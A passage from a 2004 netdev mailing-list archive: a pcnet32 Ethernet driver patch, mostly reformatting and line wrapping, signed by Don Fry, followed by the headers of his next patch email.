www.amd.com. This section * assumes that a card with a 79C978 wants to go into 1Mb HomePNA * mode. The 79C978 can also go into standard ethernet, and there @@ -884,12 +886,6 @@ */ /* switch to home wiring mode */ media = a->read_bcr(ioaddr, 49); -#if 0 - if (pcnet32_debug > 2) - printk(KERN_DEBUG PFX "media value %#x.\n", media); - media &= ~3; - media |= 1; -#endif if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_DEBUG PFX "media reset to %#x.\n", media); a->write_bcr(ioaddr, 49, media); @@ -900,30 +896,29 @@ break; default: printk(KERN_INFO PFX "PCnet version %#x, no PCnet32 chip.\n", - chip_version); + chip_version); goto err_release_region; } /* * On selected chips turn on the BCR18:NOUFLO bit. This stops transmit * starting until the packet is loaded. Strike one for reliability, lose - * one for latency - although on PCI this isnt a big loss. Older chips + * one for latency - although on PCI this isnt a big loss. Older chips * have FIFO's smaller than a packet, so you can't do this. */ - - if(fset) - { + + if (fset) { a->write_bcr(ioaddr, 18, (a->read_bcr(ioaddr, 18) | 0x0800)); a->write_csr(ioaddr, 80, (a->read_csr(ioaddr, 80) & 0x0C00) | 0x0c00); dxsuflo = 1; ltint = 1; } - + dev = alloc_etherdev(0); - if(!dev) { - printk(KERN_ERR PFX "Memory allocation failed.\n"); - ret = -ENOMEM; - goto err_release_region; + if (!dev) { + printk(KERN_ERR PFX "Memory allocation failed.\n"); + ret = -ENOMEM; + goto err_release_region; } SET_NETDEV_DEV(dev, &pdev->dev); @@ -947,13 +942,13 @@ /* read PROM address and compare with CSR address */ for (i = 0; i < 6; i++) promaddr[i] = inb(ioaddr + i); - - if( memcmp( promaddr, dev->dev_addr, 6) - || !is_valid_ether_addr(dev->dev_addr) ) { + + if (memcmp(promaddr, dev->dev_addr, 6) + || !is_valid_ether_addr(dev->dev_addr)) { #ifndef __powerpc__ - if( is_valid_ether_addr(promaddr) ){ + if (is_valid_ether_addr(promaddr)) { #else - if( !is_valid_ether_addr(dev->dev_addr) + if (!is_valid_ether_addr(dev->dev_addr) && is_valid_ether_addr(promaddr)) { #endif printk(" warning: CSR address invalid,\n"); @@ -963,13 +958,13 @@ } /* if the ethernet address is not valid, force to 00:00:00:00:00:00 */ - if( !is_valid_ether_addr(dev->dev_addr) ) + if (!is_valid_ether_addr(dev->dev_addr)) memset(dev->dev_addr, 0, sizeof(dev->dev_addr)); for (i = 0; i < 6; i++) printk(" %2.2x", dev->dev_addr[i] ); - if (((chip_version + 1) & 0xfffe) == 0x2624) { /* Version 0x2623 or 0x2624 */ + if (((chip_version + 1) & 0xfffe) == 0x2624) { /* Version 0x2623 - 0x2624 */ i = a->read_csr(ioaddr, 80) & 0x0C00; /* Check tx_start_pt */ printk("\n" KERN_INFO " tx_start_pt(0x%04x):",i); switch(i>>10) { @@ -1005,7 +1000,7 @@ lp->pci_dev = pdev; spin_lock_init(&lp->lock); - + SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, &pdev->dev); dev->priv = lp; @@ -1025,46 +1020,51 @@ lp->mii_if.dev = dev; lp->mii_if.mdio_read = mdio_read; lp->mii_if.mdio_write = mdio_write; - - if (fdx && !(lp->options & PCNET32_PORT_ASEL) && + + if (fdx && !(lp->options & PCNET32_PORT_ASEL) && ((cards_found>=MAX_UNITS) || full_duplex[cards_found])) lp->options |= PCNET32_PORT_FD; - + if (!a) { - printk(KERN_ERR PFX "No access methods\n"); - ret = -ENODEV; - goto err_free_consistent; + printk(KERN_ERR PFX "No access methods\n"); + ret = -ENODEV; + goto err_free_consistent; } lp->a = *a; - + /* detect special T1/E1 WAN card by checking for MAC address */ - if (dev->dev_addr[0] == 0x00 && dev->dev_addr[1] == 0xe0 && dev->dev_addr[2] == 0x75) + if (dev->dev_addr[0] == 0x00 && dev->dev_addr[1] == 0xe0 + && dev->dev_addr[2] == 0x75) lp->options = PCNET32_PORT_FD | PCNET32_PORT_GPSI; lp->init_block.mode = le16_to_cpu(0x0003); /* Disable Rx and Tx. */ - lp->init_block.tlen_rlen = le16_to_cpu(TX_RING_LEN_BITS | RX_RING_LEN_BITS); + lp->init_block.tlen_rlen = le16_to_cpu(TX_RING_LEN_BITS | RX_RING_LEN_BITS); for (i = 0; i < 6; i++) lp->init_block.phys_addr[i] = dev->dev_addr[i]; lp->init_block.filter[0] = 0x00000000; lp->init_block.filter[1] = 0x00000000; - lp->init_block.rx_ring = (u32)le32_to_cpu(lp->dma_addr + offsetof(struct pcnet32_private, rx_ring)); - lp->init_block.tx_ring = (u32)le32_to_cpu(lp->dma_addr + offsetof(struct pcnet32_private, tx_ring)); - + lp->init_block.rx_ring = (u32)le32_to_cpu(lp->dma_addr + + offsetof(struct pcnet32_private, rx_ring)); + lp->init_block.tx_ring = (u32)le32_to_cpu(lp->dma_addr + + offsetof(struct pcnet32_private, tx_ring)); + /* switch pcnet32 to 32bit mode */ - a->write_bcr (ioaddr, 20, 2); + a->write_bcr(ioaddr, 20, 2); + + a->write_csr(ioaddr, 1, (lp->dma_addr + offsetof(struct pcnet32_private, + init_block)) & 0xffff); + a->write_csr(ioaddr, 2, (lp->dma_addr + offsetof(struct pcnet32_private, + init_block)) >> 16); - a->write_csr (ioaddr, 1, (lp->dma_addr + offsetof(struct pcnet32_private, init_block)) & 0xffff); - a->write_csr (ioaddr, 2, (lp->dma_addr + offsetof(struct pcnet32_private, init_block)) >> 16); - if (irq_line) { dev->irq = irq_line; } - + if (dev->irq >= 2) printk(" assigned IRQ %d.\n", dev->irq); else { unsigned long irq_mask = probe_irq_on(); - + /* * To auto-IRQ we enable the initialization-done and DMA error * interrupts. For ISA boards we get a DMA error, but VLB and PCI @@ -1073,7 +1073,7 @@ /* Trigger an initialization just for the interrupt. */ a->write_csr (ioaddr, 0, 0x41); mdelay (1); - + dev->irq = probe_irq_off (irq_mask); if (!dev->irq) { printk(", failed to detect IRQ line.\n"); @@ -1090,7 +1090,7 @@ init_timer (&lp->watchdog_timer); lp->watchdog_timer.data = (unsigned long) dev; lp->watchdog_timer.function = (void *) &pcnet32_watchdog; - + /* The PCNET32-specific entries in the device structure. */ dev->open = &pcnet32_open; dev->hard_start_xmit = &pcnet32_start_xmit; @@ -1160,13 +1160,13 @@ (u32) (lp->dma_addr + offsetof(struct pcnet32_private, tx_ring)), (u32) (lp->dma_addr + offsetof(struct pcnet32_private, rx_ring)), (u32) (lp->dma_addr + offsetof(struct pcnet32_private, init_block))); - + /* set/reset autoselect bit */ val = lp->a.read_bcr (ioaddr, 2) & ~2; if (lp->options & PCNET32_PORT_ASEL) val |= 2; lp->a.write_bcr (ioaddr, 2, val); - + /* handle full duplex setting */ if (lp->mii_if.full_duplex) { val = lp->a.read_bcr (ioaddr, 9) & ~3; @@ -1176,34 +1176,38 @@ val |= 2; } else if (lp->options & PCNET32_PORT_ASEL) { /* workaround of xSeries250, turn on for 79C975 only */ - i = ((lp->a.read_csr(ioaddr, 88) | (lp->a.read_csr(ioaddr,89) << 16)) >> 12) & 0xffff; - if (i == 0x2627) val |= 3; + i = ((lp->a.read_csr(ioaddr, 88) | + (lp->a.read_csr(ioaddr,89) << 16)) >> 12) & 0xffff; + if (i == 0x2627) + val |= 3; } lp->a.write_bcr (ioaddr, 9, val); } - + /* set/reset GPSI bit in test register */ val = lp->a.read_csr (ioaddr, 124) & ~0x10; if ((lp->options & PCNET32_PORT_PORTSEL) == PCNET32_PORT_GPSI) val |= 0x10; lp->a.write_csr (ioaddr, 124, val); - + if (lp->mii && !(lp->options & PCNET32_PORT_ASEL)) { - val = lp->a.read_bcr (ioaddr, 32) & ~0x38; /* disable Auto Negotiation, set 10Mpbs, HD */ + /* disable Auto Negotiation, set 10Mpbs, HD */ + val = lp->a.read_bcr (ioaddr, 32) & ~0x38; if (lp->options & PCNET32_PORT_FD) val |= 0x10; if (lp->options & PCNET32_PORT_100) val |= 0x08; lp->a.write_bcr (ioaddr, 32, val); } else { - if (lp->options & PCNET32_PORT_ASEL) { /* enable auto negotiate, setup, disable fd */ - val = lp->a.read_bcr(ioaddr, 32) & ~0x98; - val |= 0x20; - lp->a.write_bcr(ioaddr, 32, val); + if (lp->options & PCNET32_PORT_ASEL) { + /* enable auto negotiate, setup, disable fd */ + val = lp->a.read_bcr(ioaddr, 32) & ~0x98; + val |= 0x20; + lp->a.write_bcr(ioaddr, 32, val); } } -#ifdef DO_DXSUFLO +#ifdef DO_DXSUFLO if (lp->dxsuflo) { /* Disable transmit stop on underflow */ val = lp->a.read_csr (ioaddr, 3); val |= 0x40; @@ -1216,7 +1220,7 @@ val |= (1<<14); lp->a.write_csr (ioaddr, 5, val); } - + lp->init_block.mode = le16_to_cpu((lp->options & PCNET32_PORT_PORTSEL) << 7); lp->init_block.filter[0] = 0x00000000; lp->init_block.filter[1] = 0x00000000; @@ -1224,10 +1228,12 @@ rc = -ENOMEM; goto err_free_ring; } - + /* Re-initialize the PCNET32, and start it when done. */ - lp->a.write_csr (ioaddr, 1, (lp->dma_addr + offsetof(struct pcnet32_private, init_block)) &0xffff); - lp->a.write_csr (ioaddr, 2, (lp->dma_addr + offsetof(struct pcnet32_private, init_block)) >> 16); + lp->a.write_csr (ioaddr, 1, (lp->dma_addr + + offsetof(struct pcnet32_private, init_block)) & 0xffff); + lp->a.write_csr (ioaddr, 2, (lp->dma_addr + + offsetof(struct pcnet32_private, init_block)) >> 16); lp->a.write_csr (ioaddr, 4, 0x0915); lp->a.write_csr (ioaddr, 0, 0x0001); @@ -1239,12 +1245,12 @@ mii_check_media (&lp->mii_if, 1, 1); mod_timer (&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); } - + i = 0; while (i++ < 100) if (lp->a.read_csr (ioaddr, 0) & 0x0100) break; - /* + /* * We used to clear the InitDone bit, 0x0100, here but Mark Stockton * reports that doing so triggers a bug in the '974. */ @@ -1252,8 +1258,9 @@ if (netif_msg_ifup(lp)) printk(KERN_DEBUG "%s: pcnet32 open after %d ticks, init block %#x csr0 %4.4x.\n", - dev->name, i, (u32) (lp->dma_addr + offsetof(struct pcnet32_private, init_block)), - lp->a.read_csr(ioaddr, 0)); + dev->name, i, (u32) (lp->dma_addr + + offsetof(struct pcnet32_private, init_block)), + lp->a.read_csr(ioaddr, 0)); return 0; /* Always succeed */ @@ -1261,17 +1268,17 @@ err_free_ring: /* free any allocated skbuffs */ for (i = 0; i < RX_RING_SIZE; i++) { - lp->rx_ring[i].status = 0; + lp->rx_ring[i].status = 0; if (lp->rx_skbuff[i]) { - pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); dev_kfree_skb(lp->rx_skbuff[i]); - } + } lp->rx_skbuff[i] = NULL; - lp->rx_dma_addr[i] = 0; + lp->rx_dma_addr[i] = 0; } /* - * Switch back to 16bit mode to avoid problems with dumb + * Switch back to 16bit mode to avoid problems with dumb * DOS packet driver after a warm reboot */ lp->a.write_bcr (ioaddr, 20, 4); @@ -1294,7 +1301,7 @@ * restarting the chip, but I'm too lazy to do so right now. dplatt@3do.com */ -static void +static void pcnet32_purge_tx_ring(struct net_device *dev) { struct pcnet32_private *lp = dev->priv; @@ -1302,10 +1309,11 @@ for (i = 0; i < TX_RING_SIZE; i++) { if (lp->tx_skbuff[i]) { - pci_unmap_single(lp->pci_dev, lp->tx_dma_addr[i], lp->tx_skbuff[i]->len, PCI_DMA_TODEVICE); - dev_kfree_skb_any(lp->tx_skbuff[i]); + pci_unmap_single(lp->pci_dev, lp->tx_dma_addr[i], + lp->tx_skbuff[i]->len, PCI_DMA_TODEVICE); + dev_kfree_skb_any(lp->tx_skbuff[i]); lp->tx_skbuff[i] = NULL; - lp->tx_dma_addr[i] = 0; + lp->tx_dma_addr[i] = 0; } } } @@ -1323,37 +1331,40 @@ lp->dirty_rx = lp->dirty_tx = 0; for (i = 0; i < RX_RING_SIZE; i++) { - struct sk_buff *rx_skbuff = lp->rx_skbuff[i]; + struct sk_buff *rx_skbuff = lp->rx_skbuff[i]; if (rx_skbuff == NULL) { if (!(rx_skbuff = lp->rx_skbuff[i] = dev_alloc_skb (PKT_BUF_SZ))) { /* there is not much, we can do at this point */ - printk(KERN_ERR "%s: pcnet32_init_ring dev_alloc_skb failed.\n",dev->name); + printk(KERN_ERR "%s: pcnet32_init_ring dev_alloc_skb failed.\n", + dev->name); return -1; } skb_reserve (rx_skbuff, 2); } if (lp->rx_dma_addr[i] == 0) - lp->rx_dma_addr[i] = pci_map_single(lp->pci_dev, - rx_skbuff->tail, PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); + lp->rx_dma_addr[i] = pci_map_single(lp->pci_dev, rx_skbuff->tail, + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); lp->rx_ring[i].base = (u32)le32_to_cpu(lp->rx_dma_addr[i]); lp->rx_ring[i].buf_length = le16_to_cpu(2-PKT_BUF_SZ); lp->rx_ring[i].status = le16_to_cpu(0x8000); } /* The Tx buffer address is filled in as needed, but we do need to clear - the upper ownership bit. */ + * the upper ownership bit. */ for (i = 0; i < TX_RING_SIZE; i++) { lp->tx_ring[i].base = 0; lp->tx_ring[i].status = 0; - lp->tx_dma_addr[i] = 0; + lp->tx_dma_addr[i] = 0; } wmb(); /* Make sure all changes are visible */ lp->init_block.tlen_rlen = le16_to_cpu(TX_RING_LEN_BITS | RX_RING_LEN_BITS); for (i = 0; i < 6; i++) lp->init_block.phys_addr[i] = dev->dev_addr[i]; - lp->init_block.rx_ring = (u32)le32_to_cpu(lp->dma_addr + offsetof(struct pcnet32_private, rx_ring)); - lp->init_block.tx_ring = (u32)le32_to_cpu(lp->dma_addr + offsetof(struct pcnet32_private, tx_ring)); + lp->init_block.rx_ring = (u32)le32_to_cpu(lp->dma_addr + + offsetof(struct pcnet32_private, rx_ring)); + lp->init_block.tx_ring = (u32)le32_to_cpu(lp->dma_addr + + offsetof(struct pcnet32_private, tx_ring)); return 0; } @@ -1363,11 +1374,11 @@ struct pcnet32_private *lp = dev->priv; unsigned long ioaddr = dev->base_addr; int i; - + pcnet32_purge_tx_ring(dev); if (pcnet32_init_ring(dev)) return; - + /* ReInit Ring */ lp->a.write_csr (ioaddr, 0, 1); i = 0; @@ -1387,31 +1398,31 @@ spin_lock_irqsave(&lp->lock, flags); /* Transmitter timeout, serious problems. */ - printk(KERN_ERR "%s: transmit timed out, status %4.4x, resetting.\n", - dev->name, lp->a.read_csr(ioaddr, 0)); - lp->a.write_csr (ioaddr, 0, 0x0004); - lp->stats.tx_errors++; - if (netif_msg_tx_err(lp)) { - int i; - printk(KERN_DEBUG " Ring data dump: dirty_tx %d cur_tx %d%s cur_rx %d.", - lp->dirty_tx, lp->cur_tx, lp->tx_full ? " (full)" : "", - lp->cur_rx); - for (i = 0 ; i < RX_RING_SIZE; i++) - printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", - lp->rx_ring[i].base, -lp->rx_ring[i].buf_length, - lp->rx_ring[i].msg_length, (unsigned)lp->rx_ring[i].status); - for (i = 0 ; i < TX_RING_SIZE; i++) - printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", - lp->tx_ring[i].base, -lp->tx_ring[i].length, - lp->tx_ring[i].misc, (unsigned)lp->tx_ring[i].status); - printk("\n"); - } - pcnet32_restart(dev, 0x0042); + printk(KERN_ERR "%s: transmit timed out, status %4.4x, resetting.\n", + dev->name, lp->a.read_csr(ioaddr, 0)); + lp->a.write_csr (ioaddr, 0, 0x0004); + lp->stats.tx_errors++; + if (netif_msg_tx_err(lp)) { + int i; + printk(KERN_DEBUG " Ring data dump: dirty_tx %d cur_tx %d%s cur_rx %d.", + lp->dirty_tx, lp->cur_tx, lp->tx_full ? " (full)" : "", + lp->cur_rx); + for (i = 0 ; i < RX_RING_SIZE; i++) + printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", + lp->rx_ring[i].base, -lp->rx_ring[i].buf_length, + lp->rx_ring[i].msg_length, (unsigned)lp->rx_ring[i].status); + for (i = 0 ; i < TX_RING_SIZE; i++) + printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", + lp->tx_ring[i].base, -lp->tx_ring[i].length, + lp->tx_ring[i].misc, (unsigned)lp->tx_ring[i].status); + printk("\n"); + } + pcnet32_restart(dev, 0x0042); - dev->trans_start = jiffies; - netif_wake_queue(dev); + dev->trans_start = jiffies; + netif_wake_queue(dev); - spin_unlock_irqrestore(&lp->lock, flags); + spin_unlock_irqrestore(&lp->lock, flags); } @@ -1447,21 +1458,22 @@ */ status = 0x9300; } - + /* Fill in a Tx ring entry */ - + /* Mask to ring buffer boundary. */ entry = lp->cur_tx & TX_RING_MOD_MASK; - + /* Caution: the write order is important here, set the status - with the "ownership" bits last. */ + * with the "ownership" bits last. */ lp->tx_ring[entry].length = le16_to_cpu(-skb->len); lp->tx_ring[entry].misc = 0x00000000; lp->tx_skbuff[entry] = skb; - lp->tx_dma_addr[entry] = pci_map_single(lp->pci_dev, skb->data, skb->len, PCI_DMA_TODEVICE); + lp->tx_dma_addr[entry] = pci_map_single(lp->pci_dev, skb->data, skb->len, + PCI_DMA_TODEVICE); lp->tx_ring[entry].base = (u32)le32_to_cpu(lp->tx_dma_addr[entry]); wmb(); /* Make sure owner changes after all others are visible */ lp->tx_ring[entry].status = le16_to_cpu(status); @@ -1501,9 +1513,9 @@ ioaddr = dev->base_addr; lp = dev->priv; - + spin_lock(&lp->lock); - + rap = lp->a.read_rap(ioaddr); while ((csr0 = lp->a.read_csr (ioaddr, 0)) & 0x8600 && --boguscnt >= 0) { if (csr0 == 0xffff) { @@ -1528,7 +1540,7 @@ while (dirty_tx != lp->cur_tx) { int entry = dirty_tx & TX_RING_MOD_MASK; int status = (short)le16_to_cpu(lp->tx_ring[entry].status); - + if (status < 0) break; /* It still hasn't been Txed */ @@ -1570,11 +1582,11 @@ /* We must free the original skb */ if (lp->tx_skbuff[entry]) { - pci_unmap_single(lp->pci_dev, lp->tx_dma_addr[entry], + pci_unmap_single(lp->pci_dev, lp->tx_dma_addr[entry], lp->tx_skbuff[entry]->len, PCI_DMA_TODEVICE); dev_kfree_skb_irq(lp->tx_skbuff[entry]); lp->tx_skbuff[entry] = 0; - lp->tx_dma_addr[entry] = 0; + lp->tx_dma_addr[entry] = 0; } dirty_tx++; } @@ -1603,11 +1615,12 @@ /* * this happens when our receive ring is full. This shouldn't * be a problem as we will see normal rx interrupts for the frames - * in the receive ring. But there are some PCI chipsets (I can reproduce - * this on SP3G with Intel saturn chipset) which have sometimes problems - * and will fill up the receive ring with error descriptors. In this - * situation we don't get a rx interrupt, but a missed frame interrupt sooner - * or later. So we try to clean up our receive ring here. + * in the receive ring. But there are some PCI chipsets (I can + * reproduce this on SP3G with Intel saturn chipset) which have + * sometimes problems and will fill up the receive ring with + * error descriptors. In this situation we don't get a rx + * interrupt, but a missed frame interrupt sooner or later. + * So we try to clean up our receive ring here. */ pcnet32_rx(dev); lp->stats.rx_errors++; /* Missed a Rx frame. */ @@ -1628,7 +1641,7 @@ /* Clear any other interrupt, and set interrupt enable. */ lp->a.write_csr (ioaddr, 0, 0x7940); lp->a.write_rap (ioaddr,rap); - + if (netif_msg_intr(lp)) printk(KERN_DEBUG "%s: exiting interrupt, csr0=%#4.4x.\n", dev->name, lp->a.read_csr (ioaddr, 0)); @@ -1649,7 +1662,7 @@ int status = (short)le16_to_cpu(lp->rx_ring[entry].status) >> 8; if (status != 0x03) { /* There was an error. */ - /* + /* * There is a tricky error noted by John Murphy, * to Russ Nelson: Even with full-sized * buffers it's possible for a jabber packet to use two @@ -1666,8 +1679,8 @@ /* Malloc up new buffer, compatible with net-2e. */ short pkt_len = (le32_to_cpu(lp->rx_ring[entry].msg_length) & 0xfff)-4; struct sk_buff *skb; - - if(pkt_len < 60) { + + if (pkt_len < 60) { printk(KERN_ERR "%s: Runt packet!\n",dev->name); lp->stats.rx_errors++; } else { @@ -1675,8 +1688,8 @@ if (pkt_len > rx_copybreak) { struct sk_buff *newskb; - - if ((newskb = dev_alloc_skb (PKT_BUF_SZ))) { + + if ((newskb = dev_alloc_skb(PKT_BUF_SZ))) { skb_reserve (newskb, 2); skb = lp->rx_skbuff[entry]; pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[entry], @@ -1684,22 +1697,24 @@ skb_put (skb, pkt_len); lp->rx_skbuff[entry] = newskb; newskb->dev = dev; - lp->rx_dma_addr[entry] = - pci_map_single(lp->pci_dev, newskb->tail, - PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); + lp->rx_dma_addr[entry] = + pci_map_single(lp->pci_dev, newskb->tail, + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); lp->rx_ring[entry].base = le32_to_cpu(lp->rx_dma_addr[entry]); rx_in_place = 1; } else skb = NULL; } else { skb = dev_alloc_skb(pkt_len+2); - } - + } + if (skb == NULL) { - int i; - printk(KERN_ERR "%s: Memory squeeze, deferring packet.\n", dev->name); + int i; + printk(KERN_ERR "%s: Memory squeeze, deferring packet.\n", + dev->name); for (i = 0; i < RX_RING_SIZE; i++) - if ((short)le16_to_cpu(lp->rx_ring[(entry+i) & RX_RING_MOD_MASK].status) < 0) + if ((short)le16_to_cpu(lp->rx_ring[(entry+i) + & RX_RING_MOD_MASK].status) < 0) break; if (i > RX_RING_SIZE -2) { @@ -1718,8 +1733,8 @@ PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); eth_copy_and_sum(skb, - (unsigned char *)(lp->rx_skbuff[entry]->tail), - pkt_len,0); + (unsigned char *)(lp->rx_skbuff[entry]->tail), + pkt_len,0); } lp->stats.rx_bytes += skb->len; skb->protocol=eth_type_trans(skb,dev); @@ -1762,34 +1777,35 @@ lp->a.write_csr (ioaddr, 0, 0x0004); /* - * Switch back to 16bit mode to avoid problems with dumb + * Switch back to 16bit mode to avoid problems with dumb * DOS packet driver after a warm reboot */ lp->a.write_bcr (ioaddr, 20, 4); free_irq(dev->irq, dev); - + /* free all allocated skbuffs */ for (i = 0; i < RX_RING_SIZE; i++) { - lp->rx_ring[i].status = 0; + lp->rx_ring[i].status = 0; if (lp->rx_skbuff[i]) { - pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); dev_kfree_skb(lp->rx_skbuff[i]); - } + } lp->rx_skbuff[i] = NULL; - lp->rx_dma_addr[i] = 0; + lp->rx_dma_addr[i] = 0; } - + for (i = 0; i < TX_RING_SIZE; i++) { if (lp->tx_skbuff[i]) { - pci_unmap_single(lp->pci_dev, lp->tx_dma_addr[i], lp->tx_skbuff[i]->len, PCI_DMA_TODEVICE); + pci_unmap_single(lp->pci_dev, lp->tx_dma_addr[i], + lp->tx_skbuff[i]->len, PCI_DMA_TODEVICE); dev_kfree_skb(lp->tx_skbuff[i]); - } + } lp->tx_skbuff[i] = NULL; - lp->tx_dma_addr[i] = 0; + lp->tx_dma_addr[i] = 0; } - + return 0; } @@ -1820,9 +1836,9 @@ char *addrs; int i; u32 crc; - + /* set all multicast bits */ - if (dev->flags & IFF_ALLMULTI){ + if (dev->flags & IFF_ALLMULTI) { ib->filter[0] = 0xffffffff; ib->filter[1] = 0xffffffff; return; @@ -1832,19 +1848,18 @@ ib->filter[1] = 0; /* Add addresses */ - for (i = 0; i < dev->mc_count; i++){ + for (i = 0; i < dev->mc_count; i++) { addrs = dmi->dmi_addr; dmi = dmi->next; - + /* multicast address? */ if (!(*addrs & 1)) continue; - + crc = ether_crc_le(6, addrs); crc = crc >> 26; mcast_table [crc >> 4] = le16_to_cpu( - le16_to_cpu(mcast_table [crc >> 4]) | (1 << (crc & 0xf)) - ); + le16_to_cpu(mcast_table [crc >> 4]) | (1 << (crc & 0xf))); } return; } @@ -1856,7 +1871,7 @@ static void pcnet32_set_multicast_list(struct net_device *dev) { unsigned long ioaddr = dev->base_addr, flags; - struct pcnet32_private *lp = dev->priv; + struct pcnet32_private *lp = dev->priv; spin_lock_irqsave(&lp->lock, flags); if (dev->flags&IFF_PROMISC) { @@ -1867,7 +1882,7 @@ lp->init_block.mode = le16_to_cpu((lp->options & PCNET32_PORT_PORTSEL) << 7); pcnet32_load_multicast (dev); } - + lp->a.write_csr (ioaddr, 0, 0x0004); /* Temporarily stop the lance. */ pcnet32_restart(dev, 0x0042); /* Resume normal operation */ @@ -1876,42 +1891,42 @@ static int mdio_read(struct net_device *dev, int phy_id, int reg_num) { - struct pcnet32_private *lp = dev->priv; - unsigned long ioaddr = dev->base_addr; - u16 val_out; - int phyaddr; - - if (!lp->mii) - return 0; - - phyaddr = lp->a.read_bcr(ioaddr, 33); - - lp->a.write_bcr(ioaddr, 33, ((phy_id & 0x1f) << 5) | (reg_num & 0x1f)); - val_out = lp->a.read_bcr(ioaddr, 34); - lp->a.write_bcr(ioaddr, 33, phyaddr); - - return val_out; + struct pcnet32_private *lp = dev->priv; + unsigned long ioaddr = dev->base_addr; + u16 val_out; + int phyaddr; + + if (!lp->mii) + return 0; + + phyaddr = lp->a.read_bcr(ioaddr, 33); + + lp->a.write_bcr(ioaddr, 33, ((phy_id & 0x1f) << 5) | (reg_num & 0x1f)); + val_out = lp->a.read_bcr(ioaddr, 34); + lp->a.write_bcr(ioaddr, 33, phyaddr); + + return val_out; } static void mdio_write(struct net_device *dev, int phy_id, int reg_num, int val) { - struct pcnet32_private *lp = dev->priv; - unsigned long ioaddr = dev->base_addr; - int phyaddr; + struct pcnet32_private *lp = dev->priv; + unsigned long ioaddr = dev->base_addr; + int phyaddr; + + if (!lp->mii) + return; + + phyaddr = lp->a.read_bcr(ioaddr, 33); - if (!lp->mii) - return; - - phyaddr = lp->a.read_bcr(ioaddr, 33); - - lp->a.write_bcr(ioaddr, 33, ((phy_id & 0x1f) << 5) | (reg_num & 0x1f)); - lp->a.write_bcr(ioaddr, 34, val); - lp->a.write_bcr(ioaddr, 33, phyaddr); + lp->a.write_bcr(ioaddr, 33, ((phy_id & 0x1f) << 5) | (reg_num & 0x1f)); + lp->a.write_bcr(ioaddr, 34, val); + lp->a.write_bcr(ioaddr, 33, phyaddr); } static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct pcnet32_private *lp = dev->priv; + struct pcnet32_private *lp = dev->priv; struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; int rc; unsigned long flags; @@ -1968,15 +1983,15 @@ MODULE_PARM(debug, "i"); MODULE_PARM_DESC(debug, DRV_NAME " debug level"); MODULE_PARM(max_interrupt_work, "i"); -MODULE_PARM_DESC(max_interrupt_work, DRV_NAME " maximum events handled per interrupt"); +MODULE_PARM_DESC(max_interrupt_work, DRV_NAME " maximum events handled per interrupt"); MODULE_PARM(rx_copybreak, "i"); -MODULE_PARM_DESC(rx_copybreak, DRV_NAME " copy breakpoint for copy-only-tiny-frames"); +MODULE_PARM_DESC(rx_copybreak, DRV_NAME " copy breakpoint for copy-only-tiny-frames"); MODULE_PARM(tx_start_pt, "i"); -MODULE_PARM_DESC(tx_start_pt, DRV_NAME " transmit start point (0-3)"); +MODULE_PARM_DESC(tx_start_pt, DRV_NAME " transmit start point (0-3)"); MODULE_PARM(pcnet32vlb, "i"); -MODULE_PARM_DESC(pcnet32vlb, DRV_NAME " Vesa local bus (VLB) support (0/1)"); +MODULE_PARM_DESC(pcnet32vlb, DRV_NAME " Vesa local bus (VLB) support (0/1)"); MODULE_PARM(options, "1-" __MODULE_STRING(MAX_UNITS) "i"); -MODULE_PARM_DESC(options, DRV_NAME " initial option setting(s) (0-15)"); +MODULE_PARM_DESC(options, DRV_NAME " initial option setting(s) (0-15)"); MODULE_PARM(full_duplex, "1-" __MODULE_STRING(MAX_UNITS) "i"); MODULE_PARM_DESC(full_duplex, DRV_NAME " full duplex setting(s) (1)"); @@ -2009,7 +2024,7 @@ if (cards_found) printk(KERN_INFO PFX "%d cards_found.\n", cards_found); - + return (pcnet32_have_pci + cards_found) ? 0 : -ENODEV; } -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri Feb 20 16:27:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 16:27:56 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1L0RhKO004101 for ; Fri, 20 Feb 2004 16:27:50 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1L0RX5R369664; Fri, 20 Feb 2004 19:27:34 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1L0RW2w134520; Fri, 20 Feb 2004 17:27:33 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1L0QVs07510; Fri, 20 Feb 2004 16:26:31 -0800 From: Don Fry Message-Id: <200402210026.i1L0QVs07510@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.25] pcnet32.c handle failures in open To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 16:26:31 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3468 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: 